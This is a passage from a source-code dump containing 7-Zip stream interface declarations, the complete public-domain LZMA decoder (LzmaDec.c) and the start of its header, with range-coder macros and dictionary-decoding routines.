end_of_stream. (output(*size) < input(*size)) is allowed */ } ISeqInStream; /* it can return SZ_ERROR_INPUT_EOF */ SRes SeqInStream_Read(ISeqInStream *stream, void *buf, size_t size); SRes SeqInStream_Read2(ISeqInStream *stream, void *buf, size_t size, SRes errorType); SRes SeqInStream_ReadByte(ISeqInStream *stream, Byte *buf); typedef struct { size_t (*Write)(void *p, const void *buf, size_t size); /* Returns: result - the number of actually written bytes. (result < size) means error */ } ISeqOutStream; typedef enum { SZ_SEEK_SET = 0, SZ_SEEK_CUR = 1, SZ_SEEK_END = 2 } ESzSeek; typedef struct { SRes (*Read)(void *p, void *buf, size_t *size); /* same as ISeqInStream::Read */ SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin); } ISeekInStream; typedef struct { SRes (*Look)(void *p, const void **buf, size_t *size); /* if (input(*size) != 0 && output(*size) == 0) means end_of_stream. (output(*size) > input(*size)) is not allowed (output(*size) < input(*size)) is allowed */ SRes (*Skip)(void *p, size_t offset); /* offset must be <= output(*size) of Look */ SRes (*Read)(void *p, void *buf, size_t *size); /* reads directly (without buffer). It's same as ISeqInStream::Read */ SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin); } ILookInStream; SRes LookInStream_LookRead(ILookInStream *stream, void *buf, size_t *size); SRes LookInStream_SeekTo(ILookInStream *stream, UInt64 offset); /* reads via ILookInStream::Read */ SRes LookInStream_Read2(ILookInStream *stream, void *buf, size_t size, SRes errorType); SRes LookInStream_Read(ILookInStream *stream, void *buf, size_t size); #define LookToRead_BUF_SIZE (1 << 14) typedef struct { ILookInStream s; ISeekInStream *realStream; size_t pos; size_t size; Byte buf[LookToRead_BUF_SIZE]; } CLookToRead; void LookToRead_CreateVTable(CLookToRead *p, int lookahead); void LookToRead_Init(CLookToRead *p); typedef struct { ISeqInStream s; ILookInStream *realStream; } CSecToLook; void SecToLook_CreateVTable(CSecToLook *p); typedef struct { ISeqInStream s; ILookInStream *realStream; } CSecToRead; void SecToRead_CreateVTable(CSecToRead *p); typedef struct { SRes (*Progress)(void *p, UInt64 inSize, UInt64 outSize); /* Returns: result. (result != SZ_OK) means break. Value (UInt64)(Int64)-1 for size means unknown value. */ } ICompressProgress; typedef struct { void *(*Alloc)(void *p, size_t size); void (*Free)(void *p, void *address); /* address can be 0 */ } ISzAlloc; #define IAlloc_Alloc(p, size) (p)->Alloc((p), size) #define IAlloc_Free(p, a) (p)->Free((p), a) #ifdef _WIN32 #define CHAR_PATH_SEPARATOR '\\' #define WCHAR_PATH_SEPARATOR L'\\' #define STRING_PATH_SEPARATOR "\\" #define WSTRING_PATH_SEPARATOR L"\\" #else #define CHAR_PATH_SEPARATOR '/' #define WCHAR_PATH_SEPARATOR L'/' #define STRING_PATH_SEPARATOR "/" #define WSTRING_PATH_SEPARATOR L"/" #endif EXTERN_C_END #endif ================================================ FILE: client/common/LzmaDec.c ================================================ /* LzmaDec.c -- LZMA Decoder 2016-05-16 : Igor Pavlov : Public domain */ #include "LzmaDec.h" #include #define kNumTopBits 24 #define kTopValue ((UInt32)1 << kNumTopBits) #define kNumBitModelTotalBits 11 #define kBitModelTotal (1 << kNumBitModelTotalBits) #define kNumMoveBits 5 #define RC_INIT_SIZE 5 #define NORMALIZE if (range < kTopValue) { range <<= 8; code = (code << 8) | (*buf++); } #define IF_BIT_0(p) ttt = *(p); NORMALIZE; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound) #define UPDATE_0(p) range = bound; *(p) = (CLzmaProb)(ttt + ((kBitModelTotal - ttt) >> kNumMoveBits)); #define UPDATE_1(p) range -= bound; code -= bound; *(p) = (CLzmaProb)(ttt - (ttt >> kNumMoveBits)); #define GET_BIT2(p, i, A0, A1) IF_BIT_0(p) \ { UPDATE_0(p); i = (i + i); A0; } else \ { UPDATE_1(p); i = (i + i) + 1; A1; } #define GET_BIT(p, i) GET_BIT2(p, i, ; , ;) #define TREE_GET_BIT(probs, i) { GET_BIT((probs + i), i); } #define TREE_DECODE(probs, limit, i) \ { i = 1; do { TREE_GET_BIT(probs, i); } while (i < limit); i -= limit; } /* #define _LZMA_SIZE_OPT */ #ifdef _LZMA_SIZE_OPT #define TREE_6_DECODE(probs, i) TREE_DECODE(probs, (1 << 6), i) #else #define TREE_6_DECODE(probs, i) \ { i = 1; \ TREE_GET_BIT(probs, i); \ TREE_GET_BIT(probs, i); \ TREE_GET_BIT(probs, i); \ TREE_GET_BIT(probs, i); \ TREE_GET_BIT(probs, i); \ TREE_GET_BIT(probs, i); \ i -= 0x40; } #endif #define NORMAL_LITER_DEC GET_BIT(prob + symbol, symbol) #define MATCHED_LITER_DEC \ matchByte <<= 1; \ bit = (matchByte & offs); \ probLit = prob + offs + bit + symbol; \ GET_BIT2(probLit, symbol, offs &= ~bit, offs &= bit) #define NORMALIZE_CHECK if (range < kTopValue) { if (buf >= bufLimit) return DUMMY_ERROR; range <<= 8; code = (code << 8) | (*buf++); } #define IF_BIT_0_CHECK(p) ttt = *(p); NORMALIZE_CHECK; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound) #define UPDATE_0_CHECK range = bound; #define UPDATE_1_CHECK range -= bound; code -= bound; #define GET_BIT2_CHECK(p, i, A0, A1) IF_BIT_0_CHECK(p) \ { UPDATE_0_CHECK; i = (i + i); A0; } else \ { UPDATE_1_CHECK; i = (i + i) + 1; A1; } #define GET_BIT_CHECK(p, i) GET_BIT2_CHECK(p, i, ; , ;) #define TREE_DECODE_CHECK(probs, limit, i) \ { i = 1; do { GET_BIT_CHECK(probs + i, i) } while (i < limit); i -= limit; } #define kNumPosBitsMax 4 #define kNumPosStatesMax (1 << kNumPosBitsMax) #define kLenNumLowBits 3 #define kLenNumLowSymbols (1 << kLenNumLowBits) #define kLenNumMidBits 3 #define kLenNumMidSymbols (1 << kLenNumMidBits) #define kLenNumHighBits 8 #define kLenNumHighSymbols (1 << kLenNumHighBits) #define LenChoice 0 #define LenChoice2 (LenChoice + 1) #define LenLow (LenChoice2 + 1) #define LenMid (LenLow + (kNumPosStatesMax << kLenNumLowBits)) #define LenHigh (LenMid + (kNumPosStatesMax << kLenNumMidBits)) #define kNumLenProbs (LenHigh + kLenNumHighSymbols) #define kNumStates 12 #define kNumLitStates 7 #define kStartPosModelIndex 4 #define kEndPosModelIndex 14 #define kNumFullDistances (1 << (kEndPosModelIndex >> 1)) #define kNumPosSlotBits 6 #define kNumLenToPosStates 4 #define kNumAlignBits 4 #define kAlignTableSize (1 << kNumAlignBits) #define kMatchMinLen 2 #define kMatchSpecLenStart (kMatchMinLen + kLenNumLowSymbols + kLenNumMidSymbols + kLenNumHighSymbols) #define IsMatch 0 #define IsRep (IsMatch + (kNumStates << kNumPosBitsMax)) #define IsRepG0 (IsRep + kNumStates) #define IsRepG1 (IsRepG0 + kNumStates) #define IsRepG2 (IsRepG1 + kNumStates) #define IsRep0Long (IsRepG2 + kNumStates) #define PosSlot (IsRep0Long + (kNumStates << kNumPosBitsMax)) #define SpecPos (PosSlot + (kNumLenToPosStates << kNumPosSlotBits)) #define Align (SpecPos + kNumFullDistances - kEndPosModelIndex) #define LenCoder (Align + kAlignTableSize) #define RepLenCoder (LenCoder + kNumLenProbs) #define Literal (RepLenCoder + kNumLenProbs) #define LZMA_BASE_SIZE 1846 #define LZMA_LIT_SIZE 0x300 #if Literal != LZMA_BASE_SIZE StopCompilingDueBUG #endif #define LzmaProps_GetNumProbs(p) (Literal + ((UInt32)LZMA_LIT_SIZE << ((p)->lc + (p)->lp))) #define LZMA_DIC_MIN (1 << 12) /* First LZMA-symbol is always decoded. And it decodes new LZMA-symbols while (buf < bufLimit), but "buf" is without last normalization Out: Result: SZ_OK - OK SZ_ERROR_DATA - Error p->remainLen: < kMatchSpecLenStart : normal remain = kMatchSpecLenStart : finished = kMatchSpecLenStart + 1 : Flush marker (unused now) = kMatchSpecLenStart + 2 : State Init Marker (unused now) */ static int MY_FAST_CALL LzmaDec_DecodeReal(CLzmaDec *p, SizeT limit, const Byte *bufLimit) { CLzmaProb *probs = p->probs; unsigned state = p->state; UInt32 rep0 = p->reps[0], rep1 = p->reps[1], rep2 = p->reps[2], rep3 = p->reps[3]; unsigned pbMask = ((unsigned)1 << (p->prop.pb)) - 1; unsigned lpMask = ((unsigned)1 << (p->prop.lp)) - 1; unsigned lc = p->prop.lc; Byte *dic = p->dic; SizeT dicBufSize = p->dicBufSize; SizeT dicPos = p->dicPos; UInt32 processedPos = p->processedPos; UInt32 checkDicSize = p->checkDicSize; unsigned len = 0; const Byte *buf = p->buf; UInt32 range = p->range; UInt32 code = p->code; do { CLzmaProb *prob; UInt32 bound; unsigned ttt; unsigned posState = processedPos & pbMask; prob = probs + IsMatch + (state << kNumPosBitsMax) + posState; IF_BIT_0(prob) { unsigned symbol; UPDATE_0(prob); prob = probs + Literal; if (processedPos != 0 || checkDicSize != 0) prob += ((UInt32)LZMA_LIT_SIZE * (((processedPos & lpMask) << lc) + (dic[(dicPos == 0 ? dicBufSize : dicPos) - 1] >> (8 - lc)))); processedPos++; if (state < kNumLitStates) { state -= (state < 4) ? state : 3; symbol = 1; #ifdef _LZMA_SIZE_OPT do { NORMAL_LITER_DEC } while (symbol < 0x100); #else NORMAL_LITER_DEC NORMAL_LITER_DEC NORMAL_LITER_DEC NORMAL_LITER_DEC NORMAL_LITER_DEC NORMAL_LITER_DEC NORMAL_LITER_DEC NORMAL_LITER_DEC #endif } else { unsigned matchByte = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)]; unsigned offs = 0x100; state -= (state < 10) ? 3 : 6; symbol = 1; #ifdef _LZMA_SIZE_OPT do { unsigned bit; CLzmaProb *probLit; MATCHED_LITER_DEC } while (symbol < 0x100); #else { unsigned bit; CLzmaProb *probLit; MATCHED_LITER_DEC MATCHED_LITER_DEC MATCHED_LITER_DEC MATCHED_LITER_DEC MATCHED_LITER_DEC MATCHED_LITER_DEC MATCHED_LITER_DEC MATCHED_LITER_DEC } #endif } dic[dicPos++] = (Byte)symbol; continue; } { UPDATE_1(prob); prob = probs + IsRep + state; IF_BIT_0(prob) { UPDATE_0(prob); state += kNumStates; prob = probs + LenCoder; } else { UPDATE_1(prob); if (checkDicSize == 0 && processedPos == 0) return SZ_ERROR_DATA; prob = probs + IsRepG0 + state; IF_BIT_0(prob) { UPDATE_0(prob); prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState; IF_BIT_0(prob) { UPDATE_0(prob); dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)]; dicPos++; processedPos++; state = state < kNumLitStates ? 9 : 11; continue; } UPDATE_1(prob); } else { UInt32 distance; UPDATE_1(prob); prob = probs + IsRepG1 + state; IF_BIT_0(prob) { UPDATE_0(prob); distance = rep1; } else { UPDATE_1(prob); prob = probs + IsRepG2 + state; IF_BIT_0(prob) { UPDATE_0(prob); distance = rep2; } else { UPDATE_1(prob); distance = rep3; rep3 = rep2; } rep2 = rep1; } rep1 = rep0; rep0 = distance; } state = state < kNumLitStates ? 8 : 11; prob = probs + RepLenCoder; } #ifdef _LZMA_SIZE_OPT { unsigned lim, offset; CLzmaProb *probLen = prob + LenChoice; IF_BIT_0(probLen) { UPDATE_0(probLen); probLen = prob + LenLow + (posState << kLenNumLowBits); offset = 0; lim = (1 << kLenNumLowBits); } else { UPDATE_1(probLen); probLen = prob + LenChoice2; IF_BIT_0(probLen) { UPDATE_0(probLen); probLen = prob + LenMid + (posState << kLenNumMidBits); offset = kLenNumLowSymbols; lim = (1 << kLenNumMidBits); } else { UPDATE_1(probLen); probLen = prob + LenHigh; offset = kLenNumLowSymbols + kLenNumMidSymbols; lim = (1 << kLenNumHighBits); } } TREE_DECODE(probLen, lim, len); len += offset; } #else { CLzmaProb *probLen = prob + LenChoice; IF_BIT_0(probLen) { UPDATE_0(probLen); probLen = prob + LenLow + (posState << kLenNumLowBits); len = 1; TREE_GET_BIT(probLen, len); TREE_GET_BIT(probLen, len); TREE_GET_BIT(probLen, len); len -= 8; } else { UPDATE_1(probLen); probLen = prob + LenChoice2; IF_BIT_0(probLen) { UPDATE_0(probLen); probLen = prob + LenMid + (posState << kLenNumMidBits); len = 1; TREE_GET_BIT(probLen, len); TREE_GET_BIT(probLen, len); TREE_GET_BIT(probLen, len); } else { UPDATE_1(probLen); probLen = prob + LenHigh; TREE_DECODE(probLen, (1 << kLenNumHighBits), len); len += kLenNumLowSymbols + kLenNumMidSymbols; } } } #endif if (state >= kNumStates) { UInt32 distance; prob = probs + PosSlot + ((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) << kNumPosSlotBits); TREE_6_DECODE(prob, distance); if (distance >= kStartPosModelIndex) { unsigned posSlot = (unsigned)distance; unsigned numDirectBits = (unsigned)(((distance >> 1) - 1)); distance = (2 | (distance & 1)); if (posSlot < kEndPosModelIndex) { distance <<= numDirectBits; prob = probs + SpecPos + distance - posSlot - 1; { UInt32 mask = 1; unsigned i = 1; do { GET_BIT2(prob + i, i, ; , distance |= mask); mask <<= 1; } while (--numDirectBits != 0); } } else { numDirectBits -= kNumAlignBits; do { NORMALIZE range >>= 1; { UInt32 t; code -= range; t = (0 - ((UInt32)code >> 31)); /* (UInt32)((Int32)code >> 31) */ distance = (distance << 1) + (t + 1); code += range & t; } /* distance <<= 1; if (code >= range) { code -= range; distance |= 1; } */ } while (--numDirectBits != 0); prob = probs + Align; distance <<= kNumAlignBits; { unsigned i = 1; GET_BIT2(prob + i, i, ; , distance |= 1); GET_BIT2(prob + i, i, ; , distance |= 2); GET_BIT2(prob + i, i, ; , distance |= 4); GET_BIT2(prob + i, i, ; , distance |= 8); } if (distance == (UInt32)0xFFFFFFFF) { len += kMatchSpecLenStart; state -= kNumStates; break; } } } rep3 = rep2; rep2 = rep1; rep1 = rep0; rep0 = distance + 1; if (checkDicSize == 0) { if (distance >= processedPos) { p->dicPos = dicPos; return SZ_ERROR_DATA; } } else if (distance >= checkDicSize) { p->dicPos = dicPos; return SZ_ERROR_DATA; } state = (state < kNumStates + kNumLitStates) ? kNumLitStates : kNumLitStates + 3; } len += kMatchMinLen; { SizeT rem; unsigned curLen; SizeT pos; if ((rem = limit - dicPos) == 0) { p->dicPos = dicPos; return SZ_ERROR_DATA; } curLen = ((rem < len) ? (unsigned)rem : len); pos = dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0); processedPos += curLen; len -= curLen; if (curLen <= dicBufSize - pos) { Byte *dest = dic + dicPos; ptrdiff_t src = (ptrdiff_t)pos - (ptrdiff_t)dicPos; const Byte *lim = dest + curLen; dicPos += curLen; do *(dest) = (Byte)*(dest + src); while (++dest != lim); } else { do { dic[dicPos++] = dic[pos]; if (++pos == dicBufSize) pos = 0; } while (--curLen != 0); } } } } while (dicPos < limit && buf < bufLimit); NORMALIZE; p->buf = buf; p->range = range; p->code = code; p->remainLen = len; p->dicPos = dicPos; p->processedPos = processedPos; p->reps[0] = rep0; p->reps[1] = rep1; p->reps[2] = rep2; p->reps[3] = rep3; p->state = state; return SZ_OK; } static void MY_FAST_CALL LzmaDec_WriteRem(CLzmaDec *p, SizeT limit) { if (p->remainLen != 0 && p->remainLen < kMatchSpecLenStart) { Byte *dic = p->dic; SizeT dicPos = p->dicPos; SizeT dicBufSize = p->dicBufSize; unsigned len = p->remainLen; SizeT rep0 = p->reps[0]; /* we use SizeT to avoid the BUG of VC14 for AMD64 */ SizeT rem = limit - dicPos; if (rem < len) len = (unsigned)(rem); if (p->checkDicSize == 0 && p->prop.dicSize - p->processedPos <= len) p->checkDicSize = p->prop.dicSize; p->processedPos += len; p->remainLen -= len; while (len != 0) { len--; dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)]; dicPos++; } p->dicPos = dicPos; } } static int MY_FAST_CALL LzmaDec_DecodeReal2(CLzmaDec *p, SizeT limit, const Byte *bufLimit) { do { SizeT limit2 = limit; if (p->checkDicSize == 0) { UInt32 rem = p->prop.dicSize - p->processedPos; if (limit - p->dicPos > rem) limit2 = p->dicPos + rem; } RINOK(LzmaDec_DecodeReal(p, limit2, bufLimit)); if (p->checkDicSize == 0 && p->processedPos >= p->prop.dicSize) p->checkDicSize = p->prop.dicSize; LzmaDec_WriteRem(p, limit); } while (p->dicPos < limit && p->buf < bufLimit && p->remainLen < kMatchSpecLenStart); if (p->remainLen > kMatchSpecLenStart) p->remainLen = kMatchSpecLenStart; return 0; } typedef enum { DUMMY_ERROR, /* unexpected end of input stream */ DUMMY_LIT, DUMMY_MATCH, DUMMY_REP } ELzmaDummy; static ELzmaDummy LzmaDec_TryDummy(const CLzmaDec *p, const Byte *buf, SizeT inSize) { UInt32 range = p->range; UInt32 code = p->code; const Byte *bufLimit = buf + inSize; const CLzmaProb *probs = p->probs; unsigned state = p->state; ELzmaDummy res; { const CLzmaProb *prob; UInt32 bound; unsigned ttt; unsigned posState = (p->processedPos) & ((1 << p->prop.pb) - 1); prob = probs + IsMatch + (state << kNumPosBitsMax) + posState; IF_BIT_0_CHECK(prob) { UPDATE_0_CHECK /* if (bufLimit - buf >= 7) return DUMMY_LIT; */ prob = probs + Literal; if (p->checkDicSize != 0 || p->processedPos != 0) prob += ((UInt32)LZMA_LIT_SIZE * ((((p->processedPos) & ((1 << (p->prop.lp)) - 1)) << p->prop.lc) + (p->dic[(p->dicPos == 0 ? p->dicBufSize : p->dicPos) - 1] >> (8 - p->prop.lc)))); if (state < kNumLitStates) { unsigned symbol = 1; do { GET_BIT_CHECK(prob + symbol, symbol) } while (symbol < 0x100); } else { unsigned matchByte = p->dic[p->dicPos - p->reps[0] + (p->dicPos < p->reps[0] ? p->dicBufSize : 0)]; unsigned offs = 0x100; unsigned symbol = 1; do { unsigned bit; const CLzmaProb *probLit; matchByte <<= 1; bit = (matchByte & offs); probLit = prob + offs + bit + symbol; GET_BIT2_CHECK(probLit, symbol, offs &= ~bit, offs &= bit) } while (symbol < 0x100); } res = DUMMY_LIT; } else { unsigned len; UPDATE_1_CHECK; prob = probs + IsRep + state; IF_BIT_0_CHECK(prob) { UPDATE_0_CHECK; state = 0; prob = probs + LenCoder; res = DUMMY_MATCH; } else { UPDATE_1_CHECK; res = DUMMY_REP; prob = probs + IsRepG0 + state; IF_BIT_0_CHECK(prob) { UPDATE_0_CHECK; prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState; IF_BIT_0_CHECK(prob) { UPDATE_0_CHECK; NORMALIZE_CHECK; return DUMMY_REP; } else { UPDATE_1_CHECK; } } else { UPDATE_1_CHECK; prob = probs + IsRepG1 + state; IF_BIT_0_CHECK(prob) { UPDATE_0_CHECK; } else { UPDATE_1_CHECK; prob = probs + IsRepG2 + state; IF_BIT_0_CHECK(prob) { UPDATE_0_CHECK; } else { UPDATE_1_CHECK; } } } state = kNumStates; prob = probs + RepLenCoder; } { unsigned limit, offset; const CLzmaProb *probLen = prob + LenChoice; IF_BIT_0_CHECK(probLen) { UPDATE_0_CHECK; probLen = prob + LenLow + (posState << kLenNumLowBits); offset = 0; limit = 1 << kLenNumLowBits; } else { UPDATE_1_CHECK; probLen = prob + LenChoice2; IF_BIT_0_CHECK(probLen) { UPDATE_0_CHECK; probLen = prob + LenMid + (posState << kLenNumMidBits); offset = kLenNumLowSymbols; limit = 1 << kLenNumMidBits; } else { UPDATE_1_CHECK; probLen = prob + LenHigh; offset = kLenNumLowSymbols + kLenNumMidSymbols; limit = 1 << kLenNumHighBits; } } TREE_DECODE_CHECK(probLen, limit, len); len += offset; } if (state < 4) { unsigned posSlot; prob = probs + PosSlot + ((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) << kNumPosSlotBits); TREE_DECODE_CHECK(prob, 1 << kNumPosSlotBits, posSlot); if (posSlot >= kStartPosModelIndex) { unsigned numDirectBits = ((posSlot >> 1) - 1); /* if (bufLimit - buf >= 8) return DUMMY_MATCH; */ if (posSlot < kEndPosModelIndex) { prob = probs + SpecPos + ((2 | (posSlot & 1)) << numDirectBits) - posSlot - 1; } else { numDirectBits -= kNumAlignBits; do { NORMALIZE_CHECK range >>= 1; code -= range & (((code - range) >> 31) - 1); /* if (code >= range) code -= range; */ } while (--numDirectBits != 0); prob = probs + Align; numDirectBits = kNumAlignBits; } { unsigned i = 1; do { GET_BIT_CHECK(prob + i, i); } while (--numDirectBits != 0); } } } } } NORMALIZE_CHECK; return res; } void LzmaDec_InitDicAndState(CLzmaDec *p, Bool initDic, Bool initState) { p->needFlush = 1; p->remainLen = 0; p->tempBufSize = 0; if (initDic) { p->processedPos = 0; p->checkDicSize = 0; p->needInitState = 1; } if (initState) p->needInitState = 1; } void LzmaDec_Init(CLzmaDec *p) { p->dicPos = 0; LzmaDec_InitDicAndState(p, True, True); } static void LzmaDec_InitStateReal(CLzmaDec *p) { SizeT numProbs = LzmaProps_GetNumProbs(&p->prop); SizeT i; CLzmaProb *probs = p->probs; for (i = 0; i < numProbs; i++) probs[i] = kBitModelTotal >> 1; p->reps[0] = p->reps[1] = p->reps[2] = p->reps[3] = 1; p->state = 0; p->needInitState = 0; } SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit, const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status) { SizeT inSize = *srcLen; (*srcLen) = 0; LzmaDec_WriteRem(p, dicLimit); *status = LZMA_STATUS_NOT_SPECIFIED; while (p->remainLen != kMatchSpecLenStart) { int checkEndMarkNow; if (p->needFlush) { for (; inSize > 0 && p->tempBufSize < RC_INIT_SIZE; (*srcLen)++, inSize--) p->tempBuf[p->tempBufSize++] = *src++; if (p->tempBufSize < RC_INIT_SIZE) { *status = LZMA_STATUS_NEEDS_MORE_INPUT; return SZ_OK; } if (p->tempBuf[0] != 0) return SZ_ERROR_DATA; p->code = ((UInt32)p->tempBuf[1] << 24) | ((UInt32)p->tempBuf[2] << 16) | ((UInt32)p->tempBuf[3] << 8) | ((UInt32)p->tempBuf[4]); p->range = 0xFFFFFFFF; p->needFlush = 0; p->tempBufSize = 0; } checkEndMarkNow = 0; if (p->dicPos >= dicLimit) { if (p->remainLen == 0 && p->code == 0) { *status = LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK; return SZ_OK; } if (finishMode == LZMA_FINISH_ANY) { *status = LZMA_STATUS_NOT_FINISHED; return SZ_OK; } if (p->remainLen != 0) { *status = LZMA_STATUS_NOT_FINISHED; return SZ_ERROR_DATA; } checkEndMarkNow = 1; } if (p->needInitState) LzmaDec_InitStateReal(p); if (p->tempBufSize == 0) { SizeT processed; const Byte *bufLimit; if (inSize < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow) { int dummyRes = LzmaDec_TryDummy(p, src, inSize); if (dummyRes == DUMMY_ERROR) { memcpy(p->tempBuf, src, inSize); p->tempBufSize = (unsigned)inSize; (*srcLen) += inSize; *status = LZMA_STATUS_NEEDS_MORE_INPUT; return SZ_OK; } if (checkEndMarkNow && dummyRes != DUMMY_MATCH) { *status = LZMA_STATUS_NOT_FINISHED; return SZ_ERROR_DATA; } bufLimit = src; } else bufLimit = src + inSize - LZMA_REQUIRED_INPUT_MAX; p->buf = src; if (LzmaDec_DecodeReal2(p, dicLimit, bufLimit) != 0) return SZ_ERROR_DATA; processed = (SizeT)(p->buf - src); (*srcLen) += processed; src += processed; inSize -= processed; } else { unsigned rem = p->tempBufSize, lookAhead = 0; while (rem < LZMA_REQUIRED_INPUT_MAX && lookAhead < inSize) p->tempBuf[rem++] = src[lookAhead++]; p->tempBufSize = rem; if (rem < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow) { int dummyRes = LzmaDec_TryDummy(p, p->tempBuf, rem); if (dummyRes == DUMMY_ERROR) { (*srcLen) += lookAhead; *status = LZMA_STATUS_NEEDS_MORE_INPUT; return SZ_OK; } if (checkEndMarkNow && dummyRes != DUMMY_MATCH) { *status = LZMA_STATUS_NOT_FINISHED; return SZ_ERROR_DATA; } } p->buf = p->tempBuf; if (LzmaDec_DecodeReal2(p, dicLimit, p->buf) != 0) return SZ_ERROR_DATA; { unsigned kkk = (unsigned)(p->buf - p->tempBuf); if (rem < kkk) return SZ_ERROR_FAIL; /* some internal error */ rem -= kkk; if (lookAhead < rem) return SZ_ERROR_FAIL; /* some internal error */ lookAhead -= rem; } (*srcLen) += lookAhead; src += lookAhead; inSize -= lookAhead; p->tempBufSize = 0; } } if (p->code == 0) *status = LZMA_STATUS_FINISHED_WITH_MARK; return (p->code == 0) ? SZ_OK : SZ_ERROR_DATA; } SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status) { SizeT outSize = *destLen; SizeT inSize = *srcLen; *srcLen = *destLen = 0; for (;;) { SizeT inSizeCur = inSize, outSizeCur, dicPos; ELzmaFinishMode curFinishMode; SRes res; if (p->dicPos == p->dicBufSize) p->dicPos = 0; dicPos = p->dicPos; if (outSize > p->dicBufSize - dicPos) { outSizeCur = p->dicBufSize; curFinishMode = LZMA_FINISH_ANY; } else { outSizeCur = dicPos + outSize; curFinishMode = finishMode; } res = LzmaDec_DecodeToDic(p, outSizeCur, src, &inSizeCur, curFinishMode, status); src += inSizeCur; inSize -= inSizeCur; *srcLen += inSizeCur; outSizeCur = p->dicPos - dicPos; memcpy(dest, p->dic + dicPos, outSizeCur); dest += outSizeCur; outSize -= outSizeCur; *destLen += outSizeCur; if (res != 0) return res; if (outSizeCur == 0 || outSize == 0) return SZ_OK; } } void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc) { alloc->Free(alloc, p->probs); p->probs = NULL; } static void LzmaDec_FreeDict(CLzmaDec *p, ISzAlloc *alloc) { alloc->Free(alloc, p->dic); p->dic = NULL; } void LzmaDec_Free(CLzmaDec *p, ISzAlloc *alloc) { LzmaDec_FreeProbs(p, alloc); LzmaDec_FreeDict(p, alloc); } SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size) { UInt32 dicSize; Byte d; if (size < LZMA_PROPS_SIZE) return SZ_ERROR_UNSUPPORTED; else dicSize = data[1] | ((UInt32)data[2] << 8) | ((UInt32)data[3] << 16) | ((UInt32)data[4] << 24); if (dicSize < LZMA_DIC_MIN) dicSize = LZMA_DIC_MIN; p->dicSize = dicSize; d = data[0]; if (d >= (9 * 5 * 5)) return SZ_ERROR_UNSUPPORTED; p->lc = d % 9; d /= 9; p->pb = d / 5; p->lp = d % 5; return SZ_OK; } static SRes LzmaDec_AllocateProbs2(CLzmaDec *p, const CLzmaProps *propNew, ISzAlloc *alloc) { UInt32 numProbs = LzmaProps_GetNumProbs(propNew); if (!p->probs || numProbs != p->numProbs) { LzmaDec_FreeProbs(p, alloc); p->probs = (CLzmaProb *)alloc->Alloc(alloc, numProbs * sizeof(CLzmaProb)); p->numProbs = numProbs; if (!p->probs) return SZ_ERROR_MEM; } return SZ_OK; } SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc) { CLzmaProps propNew; RINOK(LzmaProps_Decode(&propNew, props, propsSize)); RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc)); p->prop = propNew; return SZ_OK; } SRes LzmaDec_Allocate(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc) { CLzmaProps propNew; SizeT dicBufSize; RINOK(LzmaProps_Decode(&propNew, props, propsSize)); RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc)); { UInt32 dictSize = propNew.dicSize; SizeT mask = ((UInt32)1 << 12) - 1; if (dictSize >= ((UInt32)1 << 30)) mask = ((UInt32)1 << 22) - 1; else if (dictSize >= ((UInt32)1 << 22)) mask = ((UInt32)1 << 20) - 1;; dicBufSize = ((SizeT)dictSize + mask) & ~mask; if (dicBufSize < dictSize) dicBufSize = dictSize; } if (!p->dic || dicBufSize != p->dicBufSize) { LzmaDec_FreeDict(p, alloc); p->dic = (Byte *)alloc->Alloc(alloc, dicBufSize); if (!p->dic) { LzmaDec_FreeProbs(p, alloc); return SZ_ERROR_MEM; } } p->dicBufSize = dicBufSize; p->prop = propNew; return SZ_OK; } SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode, ELzmaStatus *status, ISzAlloc *alloc) { CLzmaDec p; SRes res; SizeT outSize = *destLen, inSize = *srcLen; *destLen = *srcLen = 0; *status = LZMA_STATUS_NOT_SPECIFIED; if (inSize < RC_INIT_SIZE) return SZ_ERROR_INPUT_EOF; LzmaDec_Construct(&p); RINOK(LzmaDec_AllocateProbs(&p, propData, propSize, alloc)); p.dic = dest; p.dicBufSize = outSize; LzmaDec_Init(&p); *srcLen = inSize; res = LzmaDec_DecodeToDic(&p, outSize, src, srcLen, finishMode, status); *destLen = p.dicPos; if (res == SZ_OK && *status == LZMA_STATUS_NEEDS_MORE_INPUT) res = SZ_ERROR_INPUT_EOF; LzmaDec_FreeProbs(&p, alloc); return res; } ================================================ FILE: client/common/LzmaDec.h ================================================ /* LzmaDec.h -- LZMA Decoder 2013-01-18 : Igor Pavlov : Public domain */ #ifndef __LZMA_DEC_H #define __LZMA_DEC_H #include "7zTypes.h" EXTERN_C_BEGIN /* #define _LZMA_PROB32 */ /* _LZMA_PROB32 can increase the speed on some CPUs, but memory usage for CLzmaDec::probs will be doubled in that case */ #ifdef _LZMA_PROB32 #define CLzmaProb UInt32 #else #define CLzmaProb UInt16 #endif /* ---------- LZMA Properties ---------- */ #define LZMA_PROPS_SIZE 5 typedef struct _CLzmaProps { unsigned lc, lp, pb; UInt32 dicSize; } CLzmaProps; /* LzmaProps_Decode - decodes properties Returns: SZ_OK 